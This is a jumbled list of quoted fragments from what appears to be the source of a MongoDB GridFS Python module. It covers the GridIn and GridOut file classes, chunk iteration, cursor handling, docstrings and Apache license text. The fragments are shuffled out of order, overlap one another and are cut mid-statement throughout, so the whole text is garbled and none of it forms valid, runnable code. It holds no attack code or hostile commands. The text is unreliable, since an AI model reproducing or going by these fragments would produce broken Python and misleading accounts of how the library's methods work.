closed file cannot be written", "raise TypeError(\"can only write strings or file-like objects\") if isinstance(data,", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "immediately retrieve the file metadata from the server. Metadata is", "the maximum number of bytes to read \"\"\" remainder =", "= self.__buffer elif self.__position < int(self.length): chunk_number = int((received +", "naming if \"content_type\" in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\"", "elif whence == _SEEK_END: new_pos = int(self.length) + pos else:", "directly - instead see the methods provided by :class:`~gridfs.GridFS`. Raises", "3.0 `root_collection` must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not", "database until the :meth:`close` method is called. Raises :class:`ValueError` if", "not an instance of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root collection", "\"\"\"Write a sequence of strings to the file. Does not", "= 2 EMPTY = b\"\" NEWLN = b\"\\n\" \"\"\"Default chunk", "return value. `data` can be either a string of bytes", "__iter__(self): \"\"\"Return an iterator over all of this file's data.", "to read occur more than 10 minutes apart (the server's", "\"Invalid value for `whence`\") if new_pos < 0: raise IOError(22,", "return False def __enter__(self): \"\"\"Makes it possible to use :class:`GridOut`", "# According to spec, ignore extra chunks if they are", "use ' 'acknowledged write_concern') _disallow_transactions(session) # Handle alternative naming if", "the contents of this file \" \"if an md5 sum", "session): \"\"\"Creates an empty GridOutCursor for information to be copied", "self.__root_collection = collection super(GridOutCursor, self).__init__( collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout,", "contents of this file \" \"if an md5 sum was", "has an :attr:`encoding` attribute, `data` can also be a :class:`str`", "written to the file \"\"\" if self._closed: raise ValueError(\"cannot write", "InvalidOperation, OperationFailure) from pymongo.read_preferences import ReadPreference from gridfs.errors import CorruptGridFile,", "data out of GridFS. \"\"\" def __init__(self, root_collection, file_id=None, file_document=None,", "(optional): the maximum number of bytes to read \"\"\" remainder", ":class:`GridOut` files with the context manager protocol. \"\"\" self.close() return", "seek(self, pos, whence=_SEEK_SET): \"\"\"Set the current position of this file.", "Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError:", "if not self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if", "If `size` is negative or omitted all data is read.", ":meth:`close` \" \"has been called.\") if not read_only and not", "regular __setattr__ if name in self.__dict__ or name in self.__class__.__dict__:", "alternative naming if \"content_type\" in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if", "exceptions to propagate. \"\"\" self.close() # propagate exceptions return False", "received < size: chunk_data = self.readchunk() pos = chunk_data.find(NEWLN, 0,", "session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs)", "write to - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for", "_create_cursor(self): filter = {\"files_id\": self._id} if self._next_chunk > 0: filter[\"n\"]", "or a file-like object (implementing :meth:`read`). If the file has", "has no attribute '%s'\" % name) def __setattr__(self, name, value):", "\"order to write str\") read = io.BytesIO(data).read if self._buffer.tell() >", "_grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create a GridIn property.\"\"\" def getter(self):", "% field_name) # Protect against PHP-237 if field_name == 'length':", "of bytes or a file-like object (implementing :meth:`read`). If the", "for this file.\") filename = _grid_out_property(\"filename\", \"Name of this file.\")", "the context manager protocol. Close the file and allow exceptions", "self._buffer.close() self._buffer = io.BytesIO() def __flush(self): \"\"\"Flush the file to", "(:class:`bytes` in python 3). If `size` is negative or omitted", "session=None): \"\"\"Read a file from GridFS Application developers should generally", "chunk in a file. \"\"\" def __init__(self, grid_out, chunks, session,", ":class:`str`. Unicode data is only allowed if the file has", "write strings or file-like objects\") if isinstance(data, str): try: data", "I/O in __del__ since it can lead to a deadlock.", "This can be useful when serving files using a webserver", "pos != -1: break self.__position -= received - size #", "\"\\n\\nThis attribute is read-only.\" elif closed_only: docstring = \"%s\\n\\n%s\" %", "field_name) # Protect against PHP-237 if field_name == 'length': return", "a GridOut does not immediately retrieve the file metadata from", "does not immediately retrieve the file metadata from the server.", "issue in Python 3.x next_file = super(GridOutCursor, self).next() return GridOut(self.__root_collection,", "\"\\n\\nThis attribute is read-only.\" return property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs):", "sure to flush only when _buffer is complete space =", "position of this file. \"\"\" return self.__position def seek(self, pos,", "\" \"instance of Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks", "self.__file_id = file_id self.__buffer = EMPTY self.__chunk_iter = None self.__position", "this file is already closed. Raises :class:`TypeError` if `data` is", "grid_out, chunks, session, next_chunk): self._id = grid_out._id self._chunk_size = int(grid_out.chunk_size)", "be called directly by application developers - see the :class:`~gridfs.GridFS`", "__init__(self, root_collection, session=None, **kwargs): \"\"\"Write a file to GridFS Application", "parameter. .. versionchanged:: 3.0 `root_collection` must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern`", "chunk_data.find(NEWLN, 0, size) if pos != -1: size = received", "len(self.__buffer) chunk_data = EMPTY chunk_size = int(self.chunk_size) if received >", "self._file[name] = value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}})", "write_concern') _disallow_transactions(session) # Handle alternative naming if \"content_type\" in kwargs:", "closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size for this file.\", read_only=True)", "new_pos = pos elif whence == _SEEK_CUR: new_pos = self.__position", "_grid_out_property(\"contentType\", \"Mime-type for this file.\") length = _grid_out_property(\"length\", \"Length (in", "chunk_data = self.readchunk() received += len(chunk_data) data.write(chunk_data) # Detect extra", "_grid_out_property(\"aliases\", \"List of aliases for this file.\") metadata = _grid_out_property(\"metadata\",", "\"truncated chunk #%d: expected chunk length to be %d but", "object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self,", "import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences import ReadPreference", "InvalidOperation( 'GridFS does not support multi-document transactions') class GridIn(object): \"\"\"Class", "and self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration: pass self.__position -= received", "readable(self): return False def seekable(self): return False def write(self, data):", "be encoded as :attr:`encoding` before being written. Due to buffering,", "file level options (see above) .. versionchanged:: 4.0 Removed the", "than once is allowed. \"\"\" if not self._closed: self.__flush() object.__setattr__(self,", "use this file except in compliance with the License. #", "chunk_number) chunk = self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position % chunk_size:] if", "read data out of GridFS. \"\"\" def __init__(self, root_collection, file_id=None,", "be written any more. Calling :meth:`close` more than once is", "CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data) self.__buffer = EMPTY return chunk_data", "object.__setattr__(self, \"_ensured_index\", False) def __create_index(self, collection, index_key, unique): doc =", "on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection) # Hold", "also be a :class:`str` instance, which will be encoded as", "in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as keyword", "+ pos else: raise IOError(22, \"Invalid value for `whence`\") if", "\"\"\"Default chunk size, in bytes.\"\"\" # Slightly under a power", "GridFS. \"\"\" def __init__(self, root_collection, session=None, **kwargs): \"\"\"Write a file", "We cannot do I/O in __del__ since it can lead", "exc_val, exc_tb): \"\"\"Support for the context manager protocol. Close the", "root collection to read from - `file_id` (optional): value of", "- instead see the methods provided by :class:`~gridfs.GridFS`. Either `file_id`", "{\"$set\": {field_name: value}}) self._file[field_name] = value if read_only: docstring +=", "tell(self): \"\"\"Return the current position of this file. \"\"\" return", "file cannot be written any more. Calling :meth:`close` more than", "GridOut does not immediately retrieve the file metadata from the", "CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next() def next(self): try: chunk =", "for this file.\") length = _grid_out_property(\"length\", \"Length (in bytes) of", "closed. Raises :class:`TypeError` if `data` is not an instance of", ":class:`~pymongo.collection.Collection`. Any of the file level options specified in the", "= \"%s\\n\\n%s\" % (docstring, \"This attribute is read-only and \"", "self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name] = value if", "session=self._session) if not self._file: raise NoFile(\"no file in gridfs collection", "file will be converted to :class:`bytes`. :Parameters: - `root_collection`: root", "= file_document self._session = session _id = _grid_out_property(\"_id\", \"The ``'_id'``", "coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO())", "False) object.__setattr__(self, \"_ensured_index\", False) def __create_index(self, collection, index_key, unique): doc", "from bson.son import SON from bson.binary import Binary from bson.objectid", ".. versionchanged:: 3.8 This method now only checks for extra", "to server on close() or if closed, send # them", "False) def __create_index(self, collection, index_key, unique): doc = collection.find_one(projection={\"_id\": 1},", "omitted all data is read. :Parameters: - `size` (optional): the", "base \"fs\" collection to create GridOut objects later. self.__root_collection =", "unique=unique, session=self._session) def __ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files,", "bson.binary import Binary from bson.objectid import ObjectId from pymongo import", "len(data) def __flush_buffer(self): \"\"\"Flush the buffer contents out to a", "gridfs collection %r with _id %r\" % (self.__files, self.__file_id)) def", "is read-only.\" elif closed_only: docstring = \"%s\\n\\n%s\" % (docstring, \"This", "of bytes or file-like object to be written to the", "not read_only and not closed_only: return property(getter, setter, doc=docstring) return", "be %d but \" \"found chunk with length %d\" %", "file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date that this file was first", "\"\"\"Create a new cursor, similar to the normal :class:`~pymongo.cursor.Cursor`. Should", "if this file is already closed. Raises :class:`TypeError` if `data`", "checks for extra chunks after reading the entire file. Previously,", "index_key, unique): doc = collection.find_one(projection={\"_id\": 1}, session=self._session) if doc is", "{\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True) @property def closed(self): \"\"\"Is", "self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}}) def __flush_data(self, data): \"\"\"Flush", "when _buffer is complete space = self.chunk_size - self._buffer.tell() if", "\"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number +=", "positioning) to seek to - `whence` (optional): where to seek", "with the context manager protocol. \"\"\" return self def __exit__(self,", "SON from bson.binary import Binary from bson.objectid import ObjectId from", "self.__buffer = EMPTY return chunk_data def read(self, size=-1): \"\"\"Read at", "next(self): chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ = next class", "= _clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks self.__files = root_collection.files self.__file_id", "if using relative positioning) to seek to - `whence` (optional):", "in compliance with the License. # You may obtain a", "versionchanged:: 4.0 The iterator now iterates over *lines* in the", "software # distributed under the License is distributed on an", "manager protocol. Close the file and allow exceptions to propagate.", "support multi-document transactions') class GridIn(object): \"\"\"Class to write data to", "file. :Parameters: - `pos`: the position (or offset if using", "to GridFS. \"\"\" def __init__(self, root_collection, session=None, **kwargs): \"\"\"Write a", "property(getter, doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create a GridOut property.\"\"\" def", "closed? \"\"\" return self._closed _id = _grid_in_property(\"_id\", \"The ``'_id'`` value", "uploaded and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\":", "chunk found: expected %d chunks but found \" \"chunk with", "is negative or omitted all data is read. :Parameters: -", "% (self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length:", "try: data = data.encode(self.encoding) except AttributeError: raise TypeError(\"must specify an", "write data to GridFS. \"\"\" def __init__(self, root_collection, session=None, **kwargs):", "getter(self): if closed_only and not self._closed: raise AttributeError(\"can only get", "3.8 This method now only checks for extra chunks after", "**kwargs): \"\"\"Write a file to GridFS Application developers should generally", "and store the rest. data.seek(size) self.__buffer = data.read() data.seek(0) return", ":class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7 .. seealso:: The", "string of bytes or a file-like object (implementing :meth:`read`). If", "not self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not", "entire file. if size == remainder and self.__chunk_iter: try: self.__chunk_iter.next()", "n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) !=", "self.close() raise CorruptGridFile( \"Missing chunk: expected chunk #%d but found", "\"found chunk with length %d\" % ( chunk[\"n\"], expected_length, len(chunk[\"data\"])))", "read \"\"\" remainder = int(self.length) - self.__position if size <", "= chunks self._session = session self._next_chunk = next_chunk self._num_chunks =", "`disable_md5` parameter. See :ref:`removed-gridfs-checksum` for details. .. versionchanged:: 3.7 Added", "or extra chunk in a file. \"\"\" def __init__(self, grid_out,", "remainder if size == 0: return EMPTY received = 0", "have been uploaded and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session)", "TypeError(\"must specify an encoding for file in \" \"order to", "attribute '%s'\" % name) def __setattr__(self, name, value): # For", "coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0)", "to better follow the GridFS spec, :class:`GridOut` now uses a", "is no return value. `data` can be either a string", "if len(to_write) < space: return # EOF or incomplete self.__flush_buffer()", "kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self,", "chunks, to conform to the base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk`", "instance of :class:`bytes`, a file-like object, or an instance of", "of this file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size for", "self._chunks = chunks self._session = session self._next_chunk = next_chunk self._num_chunks", "== _SEEK_SET: new_pos = pos elif whence == _SEEK_CUR: new_pos", "versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0 Creating a", "self._file: return self._file[name] raise AttributeError(\"GridIn object has no attribute '%s'\"", "%d\" % ( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk += 1 return", "__enter__(self): \"\"\"Makes it possible to use :class:`GridOut` files with the", "this file.\") md5 = _grid_out_property(\"md5\", \"MD5 of the contents of", "limitations under the License. \"\"\"Tools for representing files stored in", "Optimization, continue using the same buffer and chunk iterator. if", "self def next(self): chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ =", "skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def next(self): \"\"\"Get next", "read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\",", "except: self.abort() raise self._buffer.write(to_write) if len(to_write) < space: return #", "DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks)", "!= -1: break self.__position -= received - size # Return", "* (self._num_chunks - 1)) def __iter__(self): return self def _create_cursor(self):", "self._next_chunk) if chunk[\"n\"] != self._next_chunk: self.close() raise CorruptGridFile( \"Missing chunk:", "and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']},", "\" \"order to write str\") read = io.BytesIO(data).read if self._buffer.tell()", "of :class:`bytes`, a file-like object, or an instance of :class:`str`.", "webserver that handles such an iterator efficiently. .. versionchanged:: 3.8", "def next(self): \"\"\"Get next GridOut object from cursor. \"\"\" _disallow_transactions(self.session)", "all commands - `**kwargs` (optional): file level options (see above)", "3.7 Added the `disable_md5` parameter. .. versionchanged:: 3.6 Added ``session``", "propagate. \"\"\" self.close() # propagate exceptions return False class GridOut(io.IOBase):", ":class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection` is not an instance of", "= io.BytesIO() def __flush(self): \"\"\"Flush the file to the database.", "self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True) @property def closed(self): \"\"\"Is this", "encoded as :attr:`encoding` before being written. Due to buffering, the", "len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra chunk found: expected %d chunks", "io import math import os from bson.int64 import Int64 from", "with the License. # You may obtain a copy of", "given file_id.\"\"\" raise FileExists(\"file with _id %r already exists\" %", "def writable(self): return False def __enter__(self): \"\"\"Makes it possible to", "(self._num_chunks - 1)) def __iter__(self): return self def _create_cursor(self): filter", "bytes to read \"\"\" remainder = int(self.length) - self.__position if", "chunk by chunk instead of line by line. \"\"\" return", "written to the file will be converted to :class:`bytes`. :Parameters:", "root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] =", "expected chunk length to be %d but \" \"found chunk", "length %d\" % ( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk += 1", "raise io.UnsupportedOperation('fileno') def flush(self): # GridOut is read-only, so flush", "( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk += 1 return chunk __next__", "return self._closed _id = _grid_in_property(\"_id\", \"The ``'_id'`` value for this", "if len(chunk[\"data\"]) != expected_length: self.close() raise CorruptGridFile( \"truncated chunk #%d:", "remainder: size = remainder if size == 0: return EMPTY", "this file. Any :class:`str` that is written to the file", "on CursorNotFound. We retry on CursorNotFound to maintain backwards compatibility", "method now only checks for extra chunks after reading the", "raise CorruptGridFile( \"Extra chunk found: expected %d chunks but found", "= io.BytesIO(data).read if self._buffer.tell() > 0: # Make sure to", "created.\", closed_only=True) def __getattr__(self, name): if name in self._file: return", "SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create", "*args, **kwargs): raise NotImplementedError(\"Method does not exist for GridOutCursor\") def", "None def expected_chunk_length(self, chunk_n): if chunk_n < self._num_chunks - 1:", "# limitations under the License. \"\"\"Tools for representing files stored", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "this class directly - instead see the methods provided by", "grid_out, chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session, 0) def", "line in sequence: self.write(line) def writeable(self): return True def __enter__(self):", "data.seek(0) return data.read(size) def readline(self, size=-1): \"\"\"Read one line or", "chunk iterator. if new_pos == self.__position: return self.__position = new_pos", "be sent to server on close() or if closed, send", "from gridfs.errors import CorruptGridFile, FileExists, NoFile try: _SEEK_SET = os.SEEK_SET", "has an :attr:`encoding` attribute. :Parameters: - `data`: string of bytes", ":class:`bytes`, a file-like object, or an instance of :class:`str`. Unicode", "keyword arguments will be set as additional fields on the", "received + pos + 1 received += len(chunk_data) data.write(chunk_data) if", "value for `whence`\") if new_pos < 0: raise IOError(22, \"Invalid", "on close() or if closed, send # them now. self._file[name]", "missing, or extra chunk in a file. \"\"\" def __init__(self,", "collection.find_one(projection={\"_id\": 1}, session=self._session) if doc is None: try: index_keys =", "filter = {\"files_id\": self._id} if self._next_chunk > 0: filter[\"n\"] =", "``\"_id\"`` for the file to read - `file_document` (optional): file", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "def readable(self): return False def seekable(self): return False def write(self,", "file. Does not add seperators. \"\"\" for line in sequence:", "on a missing chunk. .. versionchanged:: 4.0 The iterator now", "lead to __getattr__ on # __IOBase_closed which calls _ensure_file and", "not support multi-document transactions') class GridIn(object): \"\"\"Class to write data", "\"\"\"Write a file to GridFS Application developers should generally not", "over *lines* in the file, instead of chunks, to conform", "by line. \"\"\" return self def close(self): \"\"\"Make GridOut more", "of this file.\") name = _grid_in_property(\"filename\", \"Alias for `filename`.\") content_type", "empty. if len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra chunk found: expected", "does not exist for GridOutCursor\") def remove_option(self, *args, **kwargs): raise", "(less if there isn't enough data). The bytes are returned", "read .. versionchanged:: 3.8 This method now only checks for", "\"\"\"Read at most `size` bytes from the file (less if", "AttributeError: raise TypeError(\"must specify an encoding for file in \"", "the entire file. Previously, this method would check for extra", "an iterator efficiently. .. versionchanged:: 3.8 The iterator now raises", "file, instead of chunks, to conform to the base class", "the base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read chunk by", "raise AttributeError(\"GridIn object has no attribute '%s'\" % name) def", "The bytes are returned as an instance of :class:`str` (:class:`bytes`", "found \" \"chunk with n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length =", "CONDITIONS OF ANY KIND, either express or implied. # See", "to be written to the file \"\"\" if self._closed: raise", "object has no attribute '%s'\" % name) def readable(self): return", "in Python 3.x next_file = super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file,", "= file_id self.__buffer = EMPTY self.__chunk_iter = None self.__position =", "query against the GridFS files collection. \"\"\" def __init__(self, collection,", "see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7 ..", "given database/collection object's type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts,", "an arbitrary query against the GridFS files collection. \"\"\" def", "above) .. versionchanged:: 4.0 Removed the `disable_md5` parameter. See :ref:`removed-gridfs-checksum`", "self._buffer.tell() if space: try: to_write = read(space) except: self.abort() raise", "# propagate exceptions return False class GridOut(io.IOBase): \"\"\"Class to read", "exist for GridOutCursor\") def _clone_base(self, session): \"\"\"Creates an empty GridOutCursor", "all commands .. versionchanged:: 3.8 For better performance and to", "GridOut is read-only, so flush does nothing. pass def isatty(self):", "to be sent to server on close() or if closed,", "kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\",", "handles such an iterator efficiently. .. versionchanged:: 3.8 The iterator", "# We cannot do I/O in __del__ since it can", "writelines(self, sequence): \"\"\"Write a sequence of strings to the file.", "self.__chunk_iter = None self.__position = 0 self._file = file_document self._session", "a time. If the current position is within a chunk", "Either `file_id` or `file_document` must be specified, `file_document` will be", "\" \"can only be read after :meth:`close` \" \"has been", "file-like object to be written to the file \"\"\" if", "chunk_number = int((received + self.__position) / chunk_size) if self.__chunk_iter is", "- instead see the methods provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError`", "raise NoFile(\"no file in gridfs collection %r with _id %r\"", "return False def truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable # for", "NotImplementedError(\"Method does not exist for GridOutCursor\") def _clone_base(self, session): \"\"\"Creates", "if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX,", "self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True) @property", "isinstance(root_collection, Collection): raise TypeError(\"root_collection must be an \" \"instance of", "for another file - ``\"filename\"``: human name for the file", "seekable(self): return False def write(self, data): \"\"\"Write data to the", "from GridFS Application developers should generally not need to instantiate", "CorruptGridFile( \"truncated chunk #%d: expected chunk length to be %d", "data to the file. There is no return value. `data`", "= EMPTY chunk_size = int(self.chunk_size) if received > 0: chunk_data", "return False class GridOut(io.IOBase): \"\"\"Class to read data out of", "For properties of this instance like _buffer, or descriptors set", "self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self):", "self.__class__.__dict__: object.__setattr__(self, name, value) else: # All other attributes are", "similar to the normal :class:`~pymongo.cursor.Cursor`. Should not be called directly", "3.0 Creating a GridOut does not immediately retrieve the file", "object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\", False) def __create_index(self, collection, index_key,", "and allow exceptions to propagate. \"\"\" self.close() # propagate exceptions", "more generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None super().close()", "`root_collection`: root collection to write to - `session` (optional): a", "`data`: string of bytes or file-like object to be written", "_SEEK_SET = os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END = os.SEEK_END #", "expected %d chunks but found \" \"chunk with n=%d\" %", "_grid_out_property(\"metadata\", \"Metadata attached to this file.\") md5 = _grid_out_property(\"md5\", \"MD5", "conform to the base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read", "this instance like _buffer, or descriptors set on # the", "next class GridOutCursor(Cursor): \"\"\"A cursor / iterator for returning GridOut", "received += len(chunk_data) data.write(chunk_data) if pos != -1: break self.__position", "data is read. :Parameters: - `size` (optional): the number of", "uploaded.\") aliases = _grid_out_property(\"aliases\", \"List of aliases for this file.\")", "new_pos self.__buffer = EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None", "Calling :meth:`close` more than once is allowed. \"\"\" if not", "StopIteration: pass self.__position -= received - size # Return 'size'", "\" \"has been called.\") if not read_only and not closed_only:", "size: chunk_data = self.readchunk() pos = chunk_data.find(NEWLN, 0, size) if", "Hold on to the base \"fs\" collection to create GridOut", "len(chunk_data) data.write(chunk_data) if pos != -1: break self.__position -= received", "size=-1): \"\"\"Read at most `size` bytes from the file (less", "cursor / iterator for returning GridOut objects as the result", "name for the file - ``\"contentType\"`` or ``\"content_type\"``: valid mime-type", "All other attributes are part of the document in db.fs.files.", "received > 0: chunk_data = self.__buffer elif self.__position < int(self.length):", "offset if using relative positioning) to seek to - `whence`", ">= self._num_chunks: raise raise CorruptGridFile(\"no chunk #%d\" % self._next_chunk) if", "from pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences", "remainder = int(self.length) - self.__position if size < 0 or", "`cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection) # Hold on", "TypeError(\"can only write strings or file-like objects\") if isinstance(data, str):", "self._file.get(field_name, 0) return self._file.get(field_name, None) docstring += \"\\n\\nThis attribute is", "bytes to read .. versionchanged:: 3.8 This method now only", "from pymongo.collection import Collection from pymongo.cursor import Cursor from pymongo.errors", "like filename, use regular __setattr__ if name in self.__dict__ or", "size < 0 or size > remainder: size = remainder", "_clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given database/collection object's type registry.\"\"\" codecopts", "the file level options specified in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_", "def _next_with_retry(self): \"\"\"Return the next chunk and retry once on", "if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use ' 'acknowledged write_concern')", "\"\"\"Create a GridIn property.\"\"\" def getter(self): if closed_only and not", "- `file_document` (optional): file document from `root_collection.files` - `session` (optional):", "== _SEEK_END: new_pos = int(self.length) + pos else: raise IOError(22,", "specified, `file_document` will be given priority if present. Raises :class:`TypeError`", "next_chunk): self._id = grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length = int(grid_out.length)", "arguments include: - ``\"_id\"``: unique ID for this file (default:", "write(self, value): raise io.UnsupportedOperation('write') def writelines(self, lines): raise io.UnsupportedOperation('writelines') def", "file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date that this file was", "\"_session\", session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\",", ":attr:`os.SEEK_CUR` (``1``) to seek relative to the current position, :attr:`os.SEEK_END`", "\"fs\" collection to create GridOut objects later. self.__root_collection = collection", "that this file was first uploaded.\") aliases = _grid_out_property(\"aliases\", \"List", "is read-only.\" return property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the", "would check for extra chunks on every call. \"\"\" self._ensure_file()", "propagate exceptions return False class GridOut(io.IOBase): \"\"\"Class to read data", "return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ = next def add_option(self, *args,", "%r already exists\" % file_id) def close(self): \"\"\"Flush the file", "data.encode(self.encoding) except AttributeError: raise TypeError(\"must specify an encoding for file", "need to instantiate this class directly - instead see the", "end. \"\"\" if whence == _SEEK_SET: new_pos = pos elif", "AttributeError: _SEEK_SET = 0 _SEEK_CUR = 1 _SEEK_END = 2", "- 1)) def __iter__(self): return self def _create_cursor(self): filter =", "session=self._session) def __ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX,", "255 * 1024 _C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX", "name): if name in self._file: return self._file[name] raise AttributeError(\"GridIn object", "_id = _grid_out_property(\"_id\", \"The ``'_id'`` value for this file.\") filename", "file_id): \"\"\"Raise a FileExists exception for the given file_id.\"\"\" raise", "_clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"]", "closed_only: docstring = \"%s\\n\\n%s\" % (docstring, \"This attribute is read-only", "= b\"\" NEWLN = b\"\\n\" \"\"\"Default chunk size, in bytes.\"\"\"", "of the contents of this 